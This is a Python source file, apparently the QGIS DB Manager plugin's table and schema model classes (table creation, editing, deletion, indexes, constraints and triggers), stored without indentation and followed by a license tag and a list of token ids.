def createSchema(self, name):
self.connector.createSchema(name)
self.refresh()
def createTableActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
if not hasattr(item, 'database') or item.database() is None:
parent.infoBar.pushMessage(
QApplication.translate("DBManagerPlugin", "No database selected or you are not connected to it."),
Qgis.Info, parent.iface.messageTimeout())
return
from ..dlg_create_table import DlgCreateTable
DlgCreateTable(item, parent).exec_()
QApplication.setOverrideCursor(Qt.WaitCursor)
def editTableActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, Table) or item.isView:
parent.infoBar.pushMessage(QApplication.translate("DBManagerPlugin", "Select a table to edit."),
Qgis.Info, parent.iface.messageTimeout())
return
if isinstance(item, RasterTable):
parent.infoBar.pushMessage(QApplication.translate("DBManagerPlugin", "Editing of raster tables is not supported."),
Qgis.Info, parent.iface.messageTimeout())
return
from ..dlg_table_properties import DlgTableProperties
DlgTableProperties(item, parent).exec_()
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
def deleteTableActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, Table):
parent.infoBar.pushMessage(
QApplication.translate("DBManagerPlugin", "Select a table/view for deletion."),
Qgis.Info, parent.iface.messageTimeout())
return
res = QMessageBox.question(parent, QApplication.translate("DBManagerPlugin", "DB Manager"),
QApplication.translate("DBManagerPlugin",
"Really delete table/view {0}?").format(item.name),
QMessageBox.Yes | QMessageBox.No)
if res != QMessageBox.Yes:
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
item.delete()
def emptyTableActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, Table) or item.isView:
parent.infoBar.pushMessage(QApplication.translate("DBManagerPlugin", "Select a table to empty it."),
Qgis.Info, parent.iface.messageTimeout())
return
res = QMessageBox.question(parent, QApplication.translate("DBManagerPlugin", "DB Manager"),
QApplication.translate("DBManagerPlugin",
"Really delete all items from table {0}?").format(item.name),
QMessageBox.Yes | QMessageBox.No)
if res != QMessageBox.Yes:
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
item.empty()
def prepareMenuMoveTableToSchemaActionSlot(self, item, menu, mainWindow):
""" populate menu with schemas """
def slot(x):
return lambda: mainWindow.invokeCallback(self.moveTableToSchemaActionSlot, x)
menu.clear()
for schema in self.schemas():
menu.addAction(schema.name, slot(schema))
def moveTableToSchemaActionSlot(self, item, action, parent, new_schema):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, Table):
parent.infoBar.pushMessage(QApplication.translate("DBManagerPlugin", "Select a table/view."),
Qgis.Info, parent.iface.messageTimeout())
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
item.moveToSchema(new_schema)
def tablesFactory(self, row, db, schema=None):
typ, row = row[0], row[1:]
if typ == Table.VectorType:
return self.vectorTablesFactory(row, db, schema)
elif typ == Table.RasterType:
return self.rasterTablesFactory(row, db, schema)
return self.dataTablesFactory(row, db, schema)
def dataTablesFactory(self, row, db, schema=None):
return None
def vectorTablesFactory(self, row, db, schema=None):
return None
def rasterTablesFactory(self, row, db, schema=None):
return None
def tables(self, schema=None, sys_tables=False):
tables = self.connector.getTables(schema.name if schema else None, sys_tables)
if tables is not None:
ret = []
for t in tables:
table = self.tablesFactory(t, self, schema)
ret.append(table)
return ret
def createTable(self, table, fields, schema=None):
field_defs = [x.definition() for x in fields]
pkeys = [x for x in fields if x.primaryKey]
pk_name = pkeys[0].name if len(pkeys) > 0 else None
ret = self.connector.createTable((schema, table), field_defs, pk_name)
if ret is not False:
self.refresh()
return ret
def createVectorTable(self, table, fields, geom, schema=None):
ret = self.createTable(table, fields, schema)
if not ret:
return False
try:
createGeomCol = geom is not None
if createGeomCol:
geomCol, geomType, geomSrid, geomDim = geom[:4]
createSpatialIndex = geom[4] if len(geom) > 4 else False
self.connector.addGeometryColumn((schema, table), geomCol, geomType, geomSrid, geomDim)
if createSpatialIndex:
# commit data definition changes, otherwise index can't be built
self.connector._commit()
self.connector.createSpatialIndex((schema, table), geomCol)
finally:
self.refresh()
return True
def explicitSpatialIndex(self):
return False
def spatialIndexClause(self, src_table, src_column, dest_table, dest_table_column):
return None
def hasLowercaseFieldNamesOption(self):
return False
class Schema(DbItemObject):
def __init__(self, db):
DbItemObject.__init__(self, db)
self.oid = self.name = self.owner = self.perms = None
self.comment = None
self.tableCount = 0
def __del__(self):
pass # print "Schema.__del__", self
def database(self):
return self.parent()
def schema(self):
return self
def tables(self):
return self.database().tables(self)
def delete(self):
self.aboutToChange.emit()
ret = self.database().connector.deleteSchema(self.name)
if ret is not False:
self.deleted.emit()
return ret
def rename(self, new_name):
self.aboutToChange.emit()
ret = self.database().connector.renameSchema(self.name, new_name)
if ret is not False:
self.name = new_name
# FIXME: refresh triggers
self.refresh()
return ret
def info(self):
from .info_model import SchemaInfo
return SchemaInfo(self)
class Table(DbItemObject):
TableType, VectorType, RasterType = list(range(3))
def __init__(self, db, schema=None, parent=None):
DbItemObject.__init__(self, db)
self._schema = schema
if hasattr(self, 'type'):
return
self.type = Table.TableType
self.name = self.isView = self.owner = self.pages = None
self.comment = None
self.rowCount = None
self._fields = self._indexes = self._constraints = self._triggers = self._rules = None
def __del__(self):
pass # print "Table.__del__", self
def canBeAddedToCanvas(self):
return True
def database(self):
return self.parent()
def schema(self):
return self._schema
def schemaName(self):
return self.schema().name if self.schema() else None
def quotedName(self):
return self.database().connector.quoteId((self.schemaName(), self.name))
def delete(self):
self.aboutToChange.emit()
if self.isView:
ret = self.database().connector.deleteView((self.schemaName(), self.name))
else:
ret = self.database().connector.deleteTable((self.schemaName(), self.name))
if ret is not False:
self.deleted.emit()
return ret
def rename(self, new_name):
self.aboutToChange.emit()
ret = self.database().connector.renameTable((self.schemaName(), self.name), new_name)
if ret is not False:
self.name = new_name
self._triggers = None
self._rules = None
self._constraints = None
self.refresh()
return ret
def empty(self):
self.aboutToChange.emit()
ret = self.database().connector.emptyTable((self.schemaName(), self.name))
if ret is not False:
self.refreshRowCount()
return ret
def moveToSchema(self, schema):
self.aboutToChange.emit()
if self.schema() == schema:
return True
ret = self.database().connector.moveTableToSchema((self.schemaName(), self.name), schema.name)
if ret is not False:
self.schema().refresh()
schema.refresh()
return ret
def info(self):
from .info_model import TableInfo
return TableInfo(self)
def uri(self):
uri = self.database().uri()
schema = self.schemaName() if self.schemaName() else ''
geomCol = self.geomColumn if self.type in [Table.VectorType, Table.RasterType] else ""
uniqueCol = self.getValidQgisUniqueFields(True) if self.isView else None
uri.setDataSource(schema, self.name, geomCol if geomCol else None, None, uniqueCol.name if uniqueCol else "")
return uri
def crs(self):
"""Returns the CRS of this table or an invalid CRS if this is not a spatial table
This should be overwritten by any additional db plugins"""
return QgsCoordinateReferenceSystem()
def mimeUri(self):
layerType = "raster" if self.type == Table.RasterType else "vector"
return u"%s:%s:%s:%s" % (layerType, self.database().dbplugin().providerName(), self.name, self.uri().uri(False))
def toMapLayer(self, geometryType=None, crs=None):
provider = self.database().dbplugin().providerName()
dataSourceUri = self.uri()
if geometryType:
dataSourceUri.setWkbType(QgsWkbTypes.parseType(geometryType))
if crs:
dataSourceUri.setSrid(str(crs.postgisSrid()))
uri = dataSourceUri.uri(False)
if self.type == Table.RasterType:
return QgsRasterLayer(uri, self.name, provider)
return QgsVectorLayer(uri, self.name, provider)
def getValidQgisUniqueFields(self, onlyOne=False):
""" list of fields valid to load the table as layer in QGIS canvas.
QGIS automatically search for a valid unique field, so it's
needed only for queries and views """
ret = []
# add the pk
pkcols = [x for x in self.fields() if x.primaryKey]
if len(pkcols) == 1:
ret.append(pkcols[0])
# then add both oid, serial and int fields with an unique index
indexes = self.indexes()
if indexes is not None:
for idx in indexes:
if idx.isUnique and len(idx.columns) == 1:
fld = idx.fields()[idx.columns[0]]
if fld.dataType in ["oid", "serial", "int4", "int8"] and fld not in ret:
ret.append(fld)
# and finally append the other suitable fields
for fld in self.fields():
if fld.dataType in ["oid", "serial", "int4", "int8"] and fld not in ret:
ret.append(fld)
if onlyOne:
return ret[0] if len(ret) > 0 else None
return ret
def tableDataModel(self, parent):
pass
def tableFieldsFactory(self, row, table):
raise NotImplementedError('Needs to be implemented by subclasses')
def fields(self):
if self._fields is None:
fields = self.database().connector.getTableFields((self.schemaName(), self.name))
if fields is not None:
self._fields = [self.tableFieldsFactory(x, self) for x in fields]
return self._fields
def refreshFields(self):
self._fields = None # refresh table fields
self.refresh()
def addField(self, fld):
self.aboutToChange.emit()
ret = self.database().connector.addTableColumn((self.schemaName(), self.name), fld.definition())
if ret is not False:
self.refreshFields()
return ret
def deleteField(self, fld):
self.aboutToChange.emit()
ret = self.database().connector.deleteTableColumn((self.schemaName(), self.name), fld.name)
if ret is not False:
self.refreshFields()
self.refreshConstraints()
self.refreshIndexes()
return ret
def addGeometryColumn(self, geomCol, geomType, srid, dim, createSpatialIndex=False):
self.aboutToChange.emit()
ret = self.database().connector.addGeometryColumn((self.schemaName(), self.name), geomCol, geomType, srid, dim)
if not ret:
return False
try:
if createSpatialIndex:
# commit data definition changes, otherwise index can't be built
self.database().connector._commit()
self.database().connector.createSpatialIndex((self.schemaName(), self.name), geomCol)
finally:
self.schema().refresh() if self.schema() else self.database().refresh() # another table was added
return True
def tableConstraintsFactory(self):
return None
def constraints(self):
if self._constraints is None:
constraints = self.database().connector.getTableConstraints((self.schemaName(), self.name))
if constraints is not None:
self._constraints = [self.tableConstraintsFactory(x, self) for x in constraints]
return self._constraints
def refreshConstraints(self):
self._constraints = None # refresh table constraints
self.refresh()
def addConstraint(self, constr):
self.aboutToChange.emit()
if constr.type == TableConstraint.TypePrimaryKey:
ret = self.database().connector.addTablePrimaryKey((self.schemaName(), self.name),
constr.fields()[constr.columns[0]].name)
elif constr.type == TableConstraint.TypeUnique:
ret = self.database().connector.addTableUniqueConstraint((self.schemaName(), self.name),
constr.fields()[constr.columns[0]].name)
else:
return False
if ret is not False:
self.refreshConstraints()
return ret
def deleteConstraint(self, constr):
self.aboutToChange.emit()
ret = self.database().connector.deleteTableConstraint((self.schemaName(), self.name), constr.name)
if ret is not False:
self.refreshConstraints()
return ret
def tableIndexesFactory(self):
return None
def indexes(self):
if self._indexes is None:
indexes = self.database().connector.getTableIndexes((self.schemaName(), self.name))
if indexes is not None:
self._indexes = [self.tableIndexesFactory(x, self) for x in indexes]
return self._indexes
def refreshIndexes(self):
self._indexes = None # refresh table indexes
self.refresh()
def addIndex(self, idx):
self.aboutToChange.emit()
ret = self.database().connector.createTableIndex((self.schemaName(), self.name), idx.name,
idx.fields()[idx.columns[0]].name)
if ret is not False:
self.refreshIndexes()
return ret
def deleteIndex(self, idx):
self.aboutToChange.emit()
ret = self.database().connector.deleteTableIndex((self.schemaName(), self.name), idx.name)
if ret is not False:
self.refreshIndexes()
return ret
def tableTriggersFactory(self, row, table):
return None
def triggers(self):
if self._triggers is None:
triggers = self.database().connector.getTableTriggers((self.schemaName(), self.name))
if triggers is not None:
self._triggers = [self.tableTriggersFactory(x, self) for x in triggers]
return self._triggers
def refreshTriggers(self):
self._triggers = None # refresh table triggers
self.refresh()
def tableRulesFactory(self, row, table):
return None
def rules(self):
if self._rules is None:
rules = self.database().connector.getTableRules((self.schemaName(), self.name))
if rules is not None:
self._rules = [self.tableRulesFactory(x, self) for x in rules]
return self._rules
def refreshRules(self):
self._rules = None # refresh table rules
self.refresh()
def refreshRowCount(self):
self.aboutToChange.emit()
prevRowCount = self.rowCount
try:
self.rowCount = self.database().connector.getTableRowCount((self.schemaName(), self.name))
self.rowCount = int(self.rowCount) if self.rowCount is not None else None
except DbError:
self.rowCount = None
if self.rowCount != prevRowCount:
self.refresh()
def runAction(self, action):
action = str(action)
if action.startswith("rows/"):
if action == "rows/count":
self.refreshRowCount()
return True
elif action.startswith("triggers/"):
parts = action.split('/')
trigger_action = parts[1]
msg = QApplication.translate("DBManagerPlugin", "Do you want to {0} all triggers?").format(trigger_action)
QApplication.restoreOverrideCursor()
try:
if QMessageBox.question(None, QApplication.translate("DBManagerPlugin", "Table triggers"), msg,
QMessageBox.Yes | QMessageBox.No) == QMessageBox.No:
return False
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
if trigger_action == "enable" or trigger_action == "disable":
enable = trigger_action == "enable"
self.aboutToChange.emit()
self.database().connector.enableAllTableTriggers(enable, (self.schemaName(), self.name))
self.refreshTriggers()
return True
elif action.startswith("trigger/"):
parts = action.split('/')
trigger_name = parts[1]
trigger_action = parts[2]
msg = QApplication.translate("DBManagerPlugin", "Do you want to {0} trigger {1}?").format(
trigger_action, trigger_name)
QApplication.restoreOverrideCursor()
try:
if QMessageBox.question(None, QApplication.translate("DBManagerPlugin", "Table trigger"), msg,
QMessageBox.Yes | QMessageBox.No) == QMessageBox.No:
return False
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
if trigger_action == "delete":
self.aboutToChange.emit()
self.database().connector.deleteTableTrigger(trigger_name, (self.schemaName(), self.name))
self.refreshTriggers()
return True
elif trigger_action == "enable" or trigger_action == "disable":
enable = trigger_action == "enable"
self.aboutToChange.emit()
self.database().connector.enableTableTrigger(trigger_name, enable, (self.schemaName(), self.name))
self.refreshTriggers()
return True
return False
def addExtraContextMenuEntries(self, menu):
"""Called whenever a context menu is shown for this table. Can be used to add additional actions to the menu."""
pass
class VectorTable(Table):
def __init__(self, db, schema=None, parent=None):
if not hasattr(self, 'type'): # check if the superclass constructor was called yet!
Table.__init__(self, db, schema, parent)
self.type = Table.VectorType
self.geomColumn = self.geomType = self.geomDim = self.srid = None
self.estimatedExtent = self.extent = None
def info(self):
from .info_model import VectorTableInfo
return VectorTableInfo(self)
def uri(self):
uri = super().uri()
for f in self.fields():
if f.primaryKey:
uri.setKeyColumn(f.name)
break
uri.setWkbType(QgsWkbTypes.parseType(self.geomType))
return uri
def hasSpatialIndex(self, geom_column=None):
geom_column = geom_column if geom_column is not None else self.geomColumn
fld = None
for fld in self.fields():
if fld.name == geom_column:
break
if fld is None:
return False
for idx in self.indexes():
if fld.num in idx.columns:
return True
return False
def createSpatialIndex(self, geom_column=None):
self.aboutToChange.emit()
geom_column = geom_column if geom_column is not None else self.geomColumn
ret = self.database().connector.createSpatialIndex((self.schemaName(), self.name), geom_column)
if ret is not False:
self.refreshIndexes()
return ret
def deleteSpatialIndex(self, geom_column=None):
self.aboutToChange.emit()
geom_column = geom_column if geom_column is not None else self.geomColumn
ret = self.database().connector.deleteSpatialIndex((self.schemaName(), self.name), geom_column)
if ret is not False:
self.refreshIndexes()
return ret
def refreshTableExtent(self):
prevExtent = self.extent
try:
self.extent = self.database().connector.getTableExtent((self.schemaName(), self.name), self.geomColumn)
except DbError:
self.extent = None
if self.extent != prevExtent:
self.refresh()
def refreshTableEstimatedExtent(self):
prevEstimatedExtent = self.estimatedExtent
try:
self.estimatedExtent = self.database().connector.getTableEstimatedExtent((self.schemaName(), self.name),
self.geomColumn)
except DbError:
self.estimatedExtent = None
if self.estimatedExtent != prevEstimatedExtent:
self.refresh()
def runAction(self, action):
action = str(action)
if action.startswith("spatialindex/"):
parts = action.split('/')
spatialIndex_action = parts[1]
msg = QApplication.translate("DBManagerPlugin", "Do you want to {0} spatial index for field {1}?").format(
spatialIndex_action, self.geomColumn)
QApplication.restoreOverrideCursor()
try:
if QMessageBox.question(None, QApplication.translate("DBManagerPlugin", "Spatial Index"), msg,
QMessageBox.Yes | QMessageBox.No) == QMessageBox.No:
return False
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
if spatialIndex_action == "create":
self.createSpatialIndex()
return True
elif spatialIndex_action == "delete":
self.deleteSpatialIndex()
return True
if action.startswith("extent/"):
if action == "extent/get":
self.refreshTableExtent()
return True
if action == "extent/estimated/get":
self.refreshTableEstimatedExtent()
return True
return Table.runAction(self, action)
def addLayer(self, geometryType=None, crs=None):
layer = self.toMapLayer(geometryType, crs)
layers = QgsProject.instance().addMapLayers([layer])
if len(layers) != 1:
QgsMessageLog.logMessage(self.tr("{layer} is an invalid layer - not loaded").format(layer=layer.publicSource()))
msgLabel = QLabel(self.tr("{layer} is an invalid layer and cannot be loaded. Please check the <a href=\"#messageLog\">message log</a> for further info.").format(layer=layer.publicSource()), self.mainWindow.infoBar)
msgLabel.setWordWrap(True)
msgLabel.linkActivated.connect(self.mainWindow.iface.mainWindow().findChild(QWidget, "MessageLog").show)
msgLabel.linkActivated.connect(self.mainWindow.iface.mainWindow().raise_)
self.mainWindow.infoBar.pushItem(QgsMessageBarItem(msgLabel, Qgis.Warning))
def showAdvancedVectorDialog(self):
dlg = QDialog()
dlg.setObjectName('dbManagerAdvancedVectorDialog')
settings = QgsSettings()
dlg.restoreGeometry(settings.value("/DB_Manager/advancedAddDialog/geometry", QByteArray(), type=QByteArray))
layout = QFormLayout()
dlg.setLayout(layout)
dlg.setWindowTitle(self.tr('Add Layer {}').format(self.name))
geometryTypeComboBox = QComboBox()
geometryTypeComboBox.addItem(self.tr('Point'), 'POINT')
geometryTypeComboBox.addItem(self.tr('Line'), 'LINESTRING')
geometryTypeComboBox.addItem(self.tr('Polygon'), 'POLYGON')
layout.addRow(self.tr('Geometry Type'), geometryTypeComboBox)
zCheckBox = QCheckBox(self.tr('With Z'))
mCheckBox = QCheckBox(self.tr('With M'))
layout.addRow(zCheckBox)
layout.addRow(mCheckBox)
crsSelector = QgsProjectionSelectionWidget()
crsSelector.setCrs(self.crs())
layout.addRow(self.tr('CRS'), crsSelector)
def selectedGeometryType():
geomType = geometryTypeComboBox.currentData()
if zCheckBox.isChecked():
geomType += 'Z'
if mCheckBox.isChecked():
geomType += 'M'
return geomType
def selectedCrs():
return crsSelector.crs()
addButton = QPushButton(self.tr('Load Layer'))
addButton.clicked.connect(lambda: self.addLayer(selectedGeometryType(), selectedCrs()))
btns = QDialogButtonBox(QDialogButtonBox.Cancel)
btns.addButton(addButton, QDialogButtonBox.ActionRole)
layout.addRow(btns)
addButton.clicked.connect(dlg.accept)
btns.accepted.connect(dlg.accept)
btns.rejected.connect(dlg.reject)
dlg.exec_()
settings = QgsSettings()
settings.setValue("/DB_Manager/advancedAddDialog/geometry", dlg.saveGeometry())
def addExtraContextMenuEntries(self, menu):
"""Called whenever a context menu is shown for this table. Can be used to add additional actions to the menu."""
if self.geomType == 'GEOMETRY':
menu.addAction(QApplication.translate("DBManagerPlugin", "Add Layer (Advanced)…"), self.showAdvancedVectorDialog)
class RasterTable(Table):
def __init__(self, db, schema=None, parent=None):
if not hasattr(self, 'type'): # check if the superclass constructor was called yet!
Table.__init__(self, db, schema, parent)
self.type = Table.RasterType
self.geomColumn = self.geomType = self.pixelSizeX = self.pixelSizeY = self.pixelType = self.isExternal = self.srid = None
self.extent = None
def info(self):
from .info_model import RasterTableInfo
return RasterTableInfo(self)
class TableSubItemObject(QObject):
def __init__(self, table):
QObject.__init__(self, table)
def table(self):
return self.parent()
def database(self):
return self.table().database() if self.table() else None
class TableField(TableSubItemObject):
def __init__(self, table):
TableSubItemObject.__init__(self, table)
self.num = self.name = self.dataType = self.modifier = self.notNull = self.default = self.hasDefault = self.primaryKey = None
self.comment = None
def type2String(self):
if self.modifier is None or self.modifier == -1:
return u"%s" % self.dataType
return u"%s (%s)" % (self.dataType, self.modifier)
def default2String(self):
if not self.hasDefault:
return ''
return self.default if self.default is not None else "NULL"
def definition(self):
from .connector import DBConnector
quoteIdFunc = self.database().connector.quoteId if self.database() else DBConnector.quoteId
name = quoteIdFunc(self.name)
not_null = "NOT NULL" if self.notNull else ""
txt = u"%s %s %s" % (name, self.type2String(), not_null)
if self.hasDefault:
txt += u" DEFAULT %s" % self.default2String()
return txt
def getComment(self):
"""Returns the comment for a field"""
return ''
def delete(self):
return self.table().deleteField(self)
def rename(self, new_name):
return self.update(new_name)
def update(self, new_name, new_type_str=None, new_not_null=None, new_default_str=None, new_comment=None):
self.table().aboutToChange.emit()
if self.name == new_name:
new_name = None
if self.type2String() == new_type_str:
new_type_str = None
if self.notNull == new_not_null:
new_not_null = None
if self.default2String() == new_default_str:
new_default_str = None
if self.comment == new_comment:
new_comment = None
ret = self.table().database().connector.updateTableColumn((self.table().schemaName(), self.table().name),
self.name, new_name, new_type_str,
new_not_null, new_default_str, new_comment)
if ret is not False:
self.table().refreshFields()
return ret
class TableConstraint(TableSubItemObject):
""" class that represents a constraint of a table (relation) """
TypeCheck, TypeForeignKey, TypePrimaryKey, TypeUnique, TypeExclusion, TypeUnknown = list(range(6))
types = {"c": TypeCheck, "f": TypeForeignKey, "p": TypePrimaryKey, "u": TypeUnique, "x": TypeExclusion}
onAction = {"a": "NO ACTION", "r": "RESTRICT", "c": "CASCADE", "n": "SET NULL", "d": "SET DEFAULT"}
matchTypes = {"u": "UNSPECIFIED", "f": "FULL", "p": "PARTIAL", "s": "SIMPLE"}
def __init__(self, table):
TableSubItemObject.__init__(self, table)
self.name = self.type = self.columns = None
def type2String(self):
if self.type == TableConstraint.TypeCheck:
return QApplication.translate("DBManagerPlugin", "Check")
if self.type == TableConstraint.TypePrimaryKey:
return QApplication.translate("DBManagerPlugin", "Primary key")
if self.type == TableConstraint.TypeForeignKey:
return QApplication.translate("DBManagerPlugin", "Foreign key")
if self.type == TableConstraint.TypeUnique:
return QApplication.translate("DBManagerPlugin", "Unique")
if self.type == TableConstraint.TypeExclusion:
return QApplication.translate("DBManagerPlugin", "Exclusion")
return QApplication.translate("DBManagerPlugin", 'Unknown')
def fields(self):
def fieldFromNum(num, fields):
""" return field specified by its number or None if doesn't exist """
for fld in fields:
if fld.num == num:
return fld
return None
fields = self.table().fields()
cols = {}
for num in self.columns:
cols[num] = fieldFromNum(num, fields)
return cols
def delete(self):
return self.table().deleteConstraint(self)
class TableIndex(TableSubItemObject):
def __init__(self, table):
TableSubItemObject.__init__(self, table)
self.name = self.columns = self.isUnique = None
def fields(self):
def fieldFromNum(num, fields):
""" return field specified by its number or None if doesn't exist """
for fld in fields:
if fld.num == num:
return fld
return None
fields = self.table().fields()
cols = {}
for num in self.columns:
cols[num] = fieldFromNum(num, fields)
return cols
def delete(self):
return self.table().deleteIndex(self)
class TableTrigger(TableSubItemObject):
""" class that represents a trigger """
# Bits within tgtype (pg_trigger.h)
TypeRow = (1 << 0) # row or statement
TypeBefore = (1 << 1) # before or after
# events: one or more
TypeInsert = (1 << 2)
TypeDelete = (1 << 3)
TypeUpdate = (1 << 4)
TypeTruncate = (1 << 5)
def __init__(self, table):
TableSubItemObject.__init__(self, table)
self.name = self.function = None
def type2String(self):
trig_type = u''
trig_type += "Before " if self.type & TableTrigger.TypeBefore else "After "
if self.type & TableTrigger.TypeInsert:
trig_type += "INSERT "
if self.type & TableTrigger.TypeUpdate:
trig_type += "UPDATE "
if self.type & TableTrigger.TypeDelete:
trig_type += "DELETE "
if self.type & TableTrigger.TypeTruncate:
trig_type += "TRUNCATE "
trig_type += "\n"
trig_type += "for each "
trig_type += "row" if self.type & TableTrigger.TypeRow else "statement"
return trig_type
class TableRule(TableSubItemObject):
def __init__(self, table):
TableSubItemObject.__init__(self, table)
self.name = self.definition = None
|
gpl-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
199,
15,
17623,
199,
985,
463,
520,
6249,
13537,
199,
5831,
3515,
520,
8692,
5256,
3589,
367,
27024,
199,
2506,
463,
520,
10162,
6546,
12,
7760,
199,
7307,
3322,
520,
334,
35,
9,
7760,
701,
598,
73,
1180,
80,
321,
428,
947,
313,
317,
199,
2123,
4483,
520,
31101,
14,
369,
1435,
32,
6799,
14,
957,
421,
1011,
14355,
15870,
199,
199,
15,
17623,
199,
627,
17997,
627,
199,
627,
257,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
221,
627,
199,
627,
257,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
221,
627,
199,
627,
257,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
258,
627,
199,
627,
257,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
15530,
627,
199,
627,
17997,
627,
199,
1011,
14355,
15870,
199,
624,
199,
504,
12963,
492,
620,
199,
504,
12963,
492,
1425,
199,
199,
504,
15640,
14,
24107,
14,
10901,
492,
3959,
12,
1413,
1692,
12,
27149,
11274,
12,
1413,
4861,
3836,
199,
199,
504,
15640,
14,
24107,
14,
29081,
492,
334,
272,
1413,
2821,
4798,
12,
272,
1413,
17491,
12,
272,
1413,
20530,
12,
272,
1413,
5619,
4259,
3532,
12,
272,
1413,
20083,
12,
272,
1413,
4314,
12,
272,
29469,
12,
272,
1413,
3310,
12,
272,
1413,
5977,
12,
272,
1413,
3205,
5619,
12,
272,
25159,
12,
272,
1413,
5619,
12,
272,
1413,
3339,
199,
9,
199,
199,
504,
15640,
14,
24107,
14,
10604,
492,
1413,
1197,
5826,
199,
199,
504,
15640,
14,
1018,
492,
334,
272,
1413,
5668,
12,
272,
4888,
5039,
12,
272,
4888,
5268,
12,
272,
31545,
5003,
804,
12,
272,
4888,
55,
7862,
4100,
12,
272,
4888,
6663,
3225,
1726,
12,
272,
4888,
6663,
10899,
12,
272,
22507,
12,
272,
4888,
13284,
5003,
12,
272,
4888,
4761,
12,
272,
4888,
2209,
2445,
12,
272,
4888,
18017,
5083,
3989,
199,
9,
199,
199,
504,
15640,
14,
5885,
492,
334,
272,
4888,
2209,
5281,
2081,
12,
272,
4888,
23706,
7713,
3339,
199,
9,
199,
199,
504,
2508,
697,
63,
5265,
492,
1218,
8882,
5061,
421,
199,
533,
3523,
547,
8,
1726,
304,
272,
408,
1563,
1021,
367,
4967,
315,
314,
3589,
1041,
339,
347,
636,
826,
721,
277,
12,
325,
304,
267,
340,
1228,
8,
69,
12,
2186,
304,
288,
1499,
275,
325,
14,
589,
59,
16,
61,
340,
822,
8,
69,
14,
589,
9,
690,
378,
587,
2125,
267,
587,
26,
288,
1499,
275,
325,
398,
340,
440,
1228,
8,
1328,
12,
620,
304,
288,
1499,
275,
620,
8,
1328,
12,
283,
1624,
13,
24,
297,
283,
1814,
358,
221,
327,
3957,
687,
2774,
24,
436,
3350,
2552,
334,
692,
1263,
9,
398,
291,
14,
1328,
275,
1499,
267,
2186,
855,
826,
721,
277,
12,
1499,
9,
339,
347,
636,
2975,
721,
277,
304,
267,
372,
291,
14,
1328,
421,
199,
533,
6378,
1451,
1726,
8,
1563,
547,
304,
272,
986,
421,
199,
533,
25417,
8,
1563,
547,
304,
272,
986,
421,
199,
533,
28822,
547,
8,
1563,
547,
304,
339,
347,
636,
826,
721,
277,
12,
325,
12,
1827,
29,
403,
304,
267,
3523,
547,
855,
826,
721,
277,
12,
325,
9,
267,
291,
14,
1131,
275,
620,
8,
1131,
9,
340,
1827,
365,
440,
488,
587,
488,
339,
347,
636,
2975,
721,
277,
304,
267,
340,
291,
14,
1131,
365,
488,
26,
288,
372,
3523,
547,
855,
2975,
721,
277,
9,
398,
1499,
275,
29469,
14,
5275,
480,
2846,
2988,
5061,
401,
298,
547,
3427,
78,
91,
16,
30273,
908,
8,
1563,
547,
855,
2975,
721,
277,
430,
267,
340,
291,
14,
1131,
26,
288,
1499,
847,
29469,
14,
5275,
480,
2846,
2988,
5061,
401,
1867,
78,
60,
78,
3227,
3427,
78,
91,
16,
30273,
908,
8,
277,
14,
1131,
9,
267,
372,
1499,
421,
199,
533,
6249,
5061,
8,
32260,
304,
272,
5463,
275,
27149,
11274,
342,
272,
2896,
275,
27149,
11274,
342,
272,
3595,
1378,
4001,
275,
27149,
11274,
342,
339,
347,
636,
826,
721,
277,
12,
2557,
63,
354,
12,
1676,
29,
403,
304,
267,
1413,
1692,
855,
826,
721,
277,
12,
1676,
9,
267,
291,
14,
1631,
985,
275,
2557,
63,
354,
267,
291,
14,
697,
275,
488,
339,
347,
636,
2264,
721,
277,
304,
267,
986,
221,
327,
870,
298,
2846,
5061,
855,
2264,
13915,
291,
14,
1631,
985,
339,
347,
1950,
8954,
8,
277,
304,
267,
372,
4888,
5039,
14,
362,
16849,
8954,
4769,
77,
8954,
8882,
6700,
14,
10273,
531,
339,
347,
1950,
985,
8,
277,
304,
267,
372,
291,
14,
1631,
985,
339,
347,
3050,
8,
277,
304,
267,
372,
291,
14,
697,
339,
347,
2256,
8,
277,
304,
267,
687,
1275,
815,
63,
1238,
492,
8692,
2354,
398,
372,
8692,
2354,
8,
403,
9,
339,
347,
4907,
8,
277,
12,
1676,
29,
403,
304,
267,
746,
4279,
360,
28390,
370,
506,
6366,
701,
9180,
358,
339,
347,
4907,
1378,
14014,
8,
277,
12,
5108,
304,
267,
291,
14,
697,
275,
291,
14,
17439,
2927,
8,
277,
12,
5108,
9,
267,
340,
291,
14,
697,
26,
288,
372,
715,
267,
372,
756,
339,
347,
30882,
8,
277,
304,
267,
340,
291,
14,
697,
365,
440,
488,
26,
288,
5108,
275,
291,
14,
697,
14,
2302,
342,
288,
291,
14,
697,
14,
1807,
22028,
342,
288,
291,
14,
697,
275,
488,
288,
372,
291,
14,
2242,
1378,
14014,
8,
2302,
9,
267,
372,
291,
14,
2242,
8,
277,
14,
1708,
1012,
339,
347,
2813,
8,
277,
304,
398,
327,
7649,
314,
892,
3261,
1642,
12,
9567,
370,
12139,
267,
862,
26,
288,
6128,
275,
4888,
6663,
10899,
14,
842,
1252,
3780,
5142,
8,
277,
14,
3780,
985,
1012,
288,
6128,
14,
1807,
3225,
8,
277,
14,
2105,
985,
1012,
267,
871,
334,
10227,
12,
4888,
6663,
3225,
1726,
304,
288,
2202,
275,
4888,
5268,
342,
288,
2202,
14,
5037,
2448,
8,
85,
2,
3149,
83,
3149,
83,
2,
450,
334,
277,
14,
2105,
5268,
1197,
